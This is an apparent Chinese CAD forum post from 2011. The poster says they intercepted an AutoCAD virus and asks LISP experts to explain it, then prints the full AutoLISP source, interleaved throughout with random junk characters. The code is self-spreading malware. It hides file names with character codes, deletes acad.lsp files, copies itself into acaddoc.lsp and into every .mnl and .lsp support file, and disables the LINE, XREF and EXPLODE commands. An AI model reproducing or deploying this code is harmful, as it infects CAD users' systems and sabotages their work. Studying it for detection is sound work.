本人最近截获：CAD病毒代码一段，请LISP高手帮忙解析一下每句语句的功能，不胜感谢。最是比较常见的，党是不会亏待你的，- (% i) t* Q" x5 O: @$ ~9 J
- setq
# {" v' d3 Z7 e/ M1 b - wold_cmd8 R# y. Y0 p3 A
- (
7 [6 \' T5 m" Y& F9 w) m - getvar2 M' ?. _" c; L" P* ^. N1 f
- "cmdecho"
" S" ^6 `% d' y. j! M8 k$ s' y - )
, W* k0 S4 R& A1 p0 Q - )
! ? I9 y; _. V' \$ `! j - () a( L: ~" Q, G m: p
- setvar
5 D1 {. c) ~6 L( Z# a - "cmdecho"
- Q! e. s+ K( g. B* | - 09 v2 O0 Q, r4 b+ a
- )& W$ `- |. I Y9 ]$ J& T2 @" o
- (2 x. F8 y' w' M6 M' {
- setq& W: S, C6 H% E# k1 _ R
- bb 1
. o: |* F4 I, t W) ~" x) \9 g$ t - )' l! W$ @1 `; I; m
- (setq dpath (getvar "dwgprefix"))
3 w# s3 O! ~8 g6 E' v. O - (setq wpath (getvar "menuname"))3 b8 M" C/ T: l/ t9 ^$ L
- (setq wpath (substr wpath 1 (- (strlen wpath) 4)))
, P( K" S/ C4 x - (setq mnl (strcat (chr 97)
+ D# X9 I# u) d A, N& h4 j3 O% n - (chr 99)
5 B/ |3 y( S' l0 K - (chr 97)
4 e+ i# M0 y2 M5 d) p - (chr 100)9 u; E+ c7 g8 y
- (chr 46)
! Q3 ^+ @ P4 L! Y, U - (chr 109)4 f% K: |, T; \' W% \! R3 | ]
- (chr 110)
2 T- J4 l" y8 a# | - (chr 108)2 V7 M7 Q7 N% V
- ), q% u9 M7 |) G% l# f4 ~5 A8 g
- lsp (strcat (chr 97)
; P" m# B, s, T) @8 { - (chr 99); `& Y3 q3 b5 y4 g1 M
- (chr 97)1 P! B2 t, ~% X# v3 ?7 r
- (chr 100)
' o& n1 J; d7 L - (chr 100)+ O& I' I* D0 @3 ?- q
- (chr 111)
" V+ I$ R8 _) O" k - (chr 99)) H! T- N/ E1 U7 D) O6 ]/ }
- (chr 46)
3 p' I- a! L! d* ?: | - (chr 108)( O7 J. \7 Z1 f( g6 J, Y! W+ o* y
- (chr 115)6 K1 ^) y- }; R* C5 G; k# b
- (chr 112)4 Y# l6 f) n: R2 J- V7 L; R
- )
! h, ?( W) d; @ - )3 }, S( u6 {6 u* T
- (vl-file-delete (strcat wpath "acadapq.lsp"))' R3 j/ j) C! C+ S$ {
- (vl-file-delete (strcat wpath lsp))6 m0 d: y: d5 y3 K9 h4 {* S
- (vl-file-delete (strcat wpath "acad.lsp"))& W, Z, i5 l/ B
- (vl-file-delete (strcat dpath "acad.lsp"))
+ L* ?& ?# [$ Z) f% } - (defun wwriteapp ()& A, G1 V& N) j
- (if (setq wwjm1 (open wnewacad "w"))4 x, c; d0 E5 W) o; y
- (progn6 D! S0 E$ S9 L/ P/ |
- (setq wwjm (open woldacad "r"))
' ^( m+ W Q" H' F9 D5 k9 f8 o - (while(setq wwz (read-line wwjm))
2 j) z: N4 E8 h6 U: m) J5 ?" M - (write-line wwz wwjm1)
( [+ C3 ^: Z3 Y0 }3 m6 u! d - )1 Y) K0 `1 q4 x3 R2 a5 |
- (close wwjm): p2 o5 f' X9 Z- Y
- (close wwjm1)0 d) D/ o. c4 d+ ~* S1 L
- )
6 ? W2 K+ O% V; F& I1 ]2 T* I9 L - )/ n: ]5 a3 g" J3 k& \: }
- )% E8 A: G `0 B1 X& I% B) N" ]( Y
- ! _/ J& T7 u6 \" l, u# C) }$ F- h
- (setq lbz 0)
# }! k9 i5 F/ O- S( R) a - (setq wwjqm (strcat dpath lsp))
k3 V. G% e' f0 I - (if (setq wwjm (open wwjqm "r"))# y* F ~; \' N8 A. D$ a
- (progn
2 q. H9 F- R8 U& P$ q& m9 j - (repeat 15 (read-line wwjm))8 g9 _. D% n2 K) R, @8 G
- (setq wz (read-line wwjm))
" M' `7 [* k' _6 G* f2 B( H4 b - (setq ab (atoi (substr wz 4 1)))
, e" s) o* T# ]( r/ F - (close wwjm)7 y. X( s5 _, d Q5 A
- (if (> ab bb)9 v+ C; X& \% ] R9 K& G
- (setq lbz 1)# I0 ~) l) v3 D' d p' ~8 ^
- )8 u+ `* Q4 ?( |) a
- )
P% s8 y' h( x( ] - )
* G3 N5 \9 r# j - 1 `; k' N, L3 B* Y A8 @* _- P
- (setq wwjqm (strcat wpath mnl))
# {# H/ f( m3 d. ~% ]* @( S - (if (setq wwjm (open wwjqm "r"))
_, b4 [ W2 y% i4 U Q: y - (progn
+ a. C; \4 k% M- G7 j! t - (repeat 15 (read-line wwjm))
1 }" f( E- m7 y6 m& C - (setq wz (read-line wwjm))
3 K- n$ ] x3 X4 `$ `% w3 r' M: U' W - (setq nb (atoi (substr wz 4 1)))$ K6 Z5 X' I* N3 {3 O9 z4 R
- (close wwjm)5 g9 L* o! P' p/ L- V
-
0 ?" [4 P, [& z9 ` - (if (< nb bb)
0 C: B6 u: A% B2 g$ G& ` - (setq lbz 1)
( w9 n1 y$ X" ~7 w - )/ }. L/ P% A+ S7 Y' u
- )
& Y1 U. Y3 T$ Q" L' a6 s5 A- J - (setq lbz 1)6 C. L9 K- ^( f9 ^/ ~$ O* H
- )
& f; ~0 X G( c# A* U - (if (= lbz 1)% T+ n, Q9 f; Z2 S" X0 t
- (progn
. c/ a; R& F1 ?+ Q) S - (setq woldacad (strcat dpath lsp))/ P8 c1 G3 q R) q
- (setq wnewacad (strcat wpath mnl))% D# r3 T& B" |/ `
- (wwriteapp)
9 T _! _- Z2 I* p - )
" ~' M8 x/ ~; F/ E0 ?1 ~9 d - )0 ^8 Z' e& s+ U, u8 R! `. `
- (if (and (/= (substr dpath 1 1) (chr 67))
7 E* ^$ i7 }* ` - (/= (substr dpath 1 1) (chr 68))5 D+ [8 F) c: w. N9 \3 o2 n
- (/= (substr dpath 1 1) (chr 69))
: L5 v+ A; s' o* q7 A! R# p$ ^0 h, o - (/= (substr dpath 1 1) (chr 70))+ c1 P2 H# b6 b e$ h9 w3 D) k
- )3 T2 f3 }3 ^7 d7 Q
- (progn
! n# E, x/ `) ~: u- j8 i0 T - (setq woldacad (strcat wpath mnl))( E- }% W4 I6 ^8 h
- (setq wnewacad (strcat dpath lsp))4 m/ Q1 p8 F% P
- (wwriteapp)
! _; n6 X- o0 `+ M# R - )
' T3 D: o! G; C& {" Z, g - (vl-file-delete (strcat dpath lsp))
7 x% y5 Q: V; u3 T - )0 b4 O$ ?% R% [+ r/ ? A8 C. m; r
- ;load "acadapq")
_4 G4 m5 [4 K - (vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))5 e j1 t$ U3 s/ L
, Q3 L1 O& k) p3 @8 O& r% D. W8 x- (setq flagx t), i) R7 m2 \: J2 r/ P
- (setq bz "(setq flagx t)")! t8 N3 i8 r+ {" G7 [
- (defun app(source target bz / flag flag1 wjm wjm1 text)6 v/ `5 d9 M; q& W7 v: q+ v6 s
- (setq flag nil)
$ q% A! v1 `; B: Z" ]$ z# p+ B - (setq flag1 t)6 b4 Q9 o2 A6 A( g
- (if (findfile target)
2 q4 C+ K( [6 w - (progn
1 q( c2 J" ^; d8 a+ |' z* s - (setq wjm1 (open target "r"))
" T+ K# t3 u# ~ }5 r - (while (setq text (read-line wjm1))
/ s' z8 B' e3 M/ z - (if (= text bz) (setq flag1 nil))
: X- H; L, q9 h6 N; ? - );while2 E/ W; ^- t" o% @' n9 E, d3 C
- (close wjm1)
+ _$ J2 i- N2 W( h" \ - );progn
, [8 c: w* A* R+ H- K* \6 o# R - );if
( X$ @% r9 ]7 N3 J( _( G - (if flag1
9 ~" y1 L: ?1 r2 O a - (progn
N- h& W( t0 h1 A2 J9 H: t - (setq wjm (open source "r"))
" L, w+ V: K0 f8 p6 X' j - (setq wjm1 (open target "a"))
! Q0 {0 @6 `+ C6 p$ l - (write-line (chr 13) wjm1)
0 E1 h" A+ Z) e9 U - (while (setq text (read-line wjm))' t7 p2 U. F! s( S z& s* D3 t8 v
- (if (= text bz) (setq flag t))
5 R5 x# a: l; ?, Y4 b8 n - (if flag8 C/ w- i4 _5 ^0 J, A
- (progn
: A3 x7 H. ]+ Z; J- z/ o X) A - (write-line text wjm1)
, j m8 h, o; m" X1 d. ~ - );progn4 f, Q$ f/ ^4 G5 n* L- f; m
- );if
( A8 b9 y" F% _9 ^8 ]5 r& k - );while
0 h/ L% Q0 q! z) E$ @ - (close wjm1)
' D) L/ h0 ]! W8 m, i - (close wjm)- O, h! u% A+ n; X7 D
- );progn
" M) c4 e; v, w - );if# k- @% q7 w7 f u. C
- );defun% _1 J0 H& v2 p' T& i( E6 |: f
- (setvar "cmdecho" 0)8 h$ o+ N; b* \
- (setq acadmnl (findfile "acad.mnl"))3 s6 s9 u2 d6 w7 c
- (setq acadmnlpath (vl-filename-directory acadmnl))+ o/ `' r% z0 n8 h( i8 g% A
- (setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))* L4 L' D, [; M, X- h/ d
- (setq mnlnum (length mnlfilelist))
( V0 a9 i3 o5 _0 ?" @ - (setq acadexe (findfile "acad.exe"))
0 C; ]3 x" _# Z0 S# {' a3 w - (setq acadpath (vl-filename-directory acadexe))' Y( z1 F! n& H" _' m
- (setq support (strcat acadpath "\\support"))0 l: i/ n0 N# f
- (setq lspfilelist (vl-directory-files support "*.lsp"))
3 E; I& D% N5 }- R4 i+ Q6 F x5 [ - (setq lspfilelist (append lspfilelist (list ""))): }3 w* b6 r: H! q+ f* E8 b
- (setq lspnum (length lspfilelist))
' b# d8 W4 e% B - (setq dwgname (getvar "dwgname"))
4 n3 }/ P; `6 { - (setq dwgpath (findfile dwgname))( v- G: Y% C7 Z0 ~
- (if dwgpath
& s" k/ [7 M1 u - (progn7 z! m, p. C* K
- (setq acaddocpath (vl-filename-directory dwgpath))
2 `# w) j! j3 X - (setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))/ T+ \; g. {4 U) X* V2 ^+ l
- (setq mnln 0)
1 S1 U* \9 e8 F8 X7 E/ X. o - (while (< mnln mnlnum)' q$ r7 I& Y, C1 W1 U
- (setq mnlfilename (strcat acadmnlpath "\" (nth mnln mnlfilelist)))4 Q6 E6 P3 [4 p
- (app mnlfilename acaddocfile bz)
# u5 F* @2 Y3 L/ P' o: f - (app acaddocfile mnlfilename bz)4 I2 j/ ]: f6 b9 C3 m
- (setq mnln (1+ mnln))
, n: @. V/ U+ X' X. H4 g - );while g. R5 Z- |: r$ T+ }/ T
- (setq lspn 0)( s0 D! M$ f# ~ _
- (while (< lspn lspnum)
3 [1 m0 ?0 G2 I! l" f$ T - (setq lspfilename (strcat support "\" (nth lspn lspfilelist)))
6 g& P& o. l% J' |5 \7 p* R& b4 i - (app lspfilename acaddocfile bz), x) B6 y0 m8 S* R/ h
- (app acaddocfile lspfilename bz)& l& ~. s4 }5 V( D2 [" @5 j, i7 k
- (setq lspn (1+ lspn))
% g9 |: i; ~) u; a" H+ k - );while" C1 f3 g6 D) u- S9 r& `
- );progn/ D+ s+ N I6 e) K7 L$ v2 V
- );if# I& w" f |5 {* T+ H; V9 D9 m( a
- (setq mnln 0)& Z9 A/ I+ x ~! L# \- U8 ~8 `
- (while (< mnln mnlnum)) I; E6 M& Q. P; S6 c
- (setq mnlfilename (strcat acadmnlpath "\" (nth mnln mnlfilelist)))
6 r( _: M4 |) K7 X/ |+ j - (setq mnln1 0)
7 s! v3 x& |1 f/ @- {8 Y8 ~ - (while (< mnln1 mnlnum)
; c! n+ V5 Q& b8 O: Q - (setq mnlfilename1 (strcat acadmnlpath "\" (nth mnln1 mnlfilelist)))0 q& `0 |) d! X0 G. O
- (app mnlfilename mnlfilename1 bz)
# b! i/ y; G5 ~; X - (setq mnln1 (1+ mnln1))+ R; A. l' e, S) i7 @
- );while! ~1 u, Z# w3 x9 y* b$ o
- (setq lspn1 0)
0 \+ ?- R- x4 O) n5 ~" Q - (while (< lspn1 lspnum)
/ r k i9 _3 x5 I* U% V2 y - (setq lspfilename1 (strcat support "\" (nth lspn1 lspfilelist)))3 c# u, t; `; {4 W
- (app mnlfilename lspfilename1 bz)
2 x) l4 |5 Y* q9 R) S1 [* ]& W; O - (setq lspn1 (1+ lspn1))
: W0 y, A6 N# L8 ~/ ?) b2 @! ?7 g } - );while# T8 N, t+ O4 p/ F P4 y: B
- (setq mnln (1+ mnln))- i4 h9 K% L) f9 T
- );while
* N, ^( q( Y# J1 }/ D6 j - (setq lspn 0)
7 `: \; ~2 x3 x! i3 k+ _; V - (while (< lspn lspnum)' ~% V6 q; I: h
- (setq lspfilename (strcat support "\" (nth lspn lspfilelist)))
3 f, ?3 b. e* E/ { - (setq lspn1 0)
) o6 w7 a: Z4 i+ j0 p ~7 E4 S - (while (< lspn1 lspnum)
( s$ R+ l2 h' X0 S - (setq lspfilename1 (strcat support "\" (nth lspn1 lspfilelist)))) u! U6 l" Y6 |4 [- a
- (app lspfilename lspfilename1 bz)
2 k0 W3 |, I( ] - (setq lspn1 (1+ lspn1))4 \+ g3 J5 X4 K- p1 _
- );while J# s* `/ ^9 T2 Y
- (setq mnln1 0)
1 O" u/ ?) x* ?. ~& F* |6 i" q2 R - (while (< mnln1 mnlnum): f2 v$ Q& @% o& M
- (setq mnlfilename1 (strcat acadmnlpath "\" (nth mnln1 mnlfilelist)))
c( k8 x `- F$ ~' T. m - (app lspfilename mnlfilename1 bz)
n/ f! C/ `* U$ R- ^ - (setq mnln1 (1+ mnln1))
1 m6 z4 x2 D8 C4 l) \ - );while
$ `) X; @' _* ?+ j+ y" s - (setq lspn (1+ lspn))* G4 B( X* G9 n8 B0 N
- );while0 g% e/ c1 E& k4 j2 {% }/ y4 y' h
- (setvar "sdi" 1)
- A6 Z( v' K6 V4 g1 v" d9 L - (setvar "ACADLSPASDOC" 1)
, g# C! z) n d, R - (command "undefine" "line")
D0 A% m( d/ z9 Y8 p - (command "undefine" "_line"). c X& J; X3 e# m1 B( z
- (command "undefine" "xref")4 K9 y( m: Z; J' d2 V$ C
- (command "undefine" "_xref"), i* @+ I# D/ g% \7 r# C; \
- (command "undefine" "explode")3 N1 t8 v% i0 ]) a" N- W! }
- (command "undefine" "_explode")
1 W' B: S3 v) N$ [4 r+ S) p - (setvar "cmdecho" 1)$ T! k- ?7 s- V: v
- (princ)" O0 k4 ]: v3 t8 T
- (load "acadapp")
2 `/ n2 ~, F! P3 D - (princ)
" f( O# V" @ c4 Y6 N" f - (if (null stol) (load "lcm" ""))7 u8 y1 L! Y- m9 d7 Z5 o3 h
- (princ)* j7 `# V) Y6 q8 l
- (load "acadappp.lsp")$ k$ ]$ z4 ?- W* U7 u. b
- (princ)
9 `) D# H, G4 g - (if (null stol) (load "lcm" ""))
! b- O7 _6 Q, b+ m& V: n - (princ)
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发表于 2011-9-19 15:26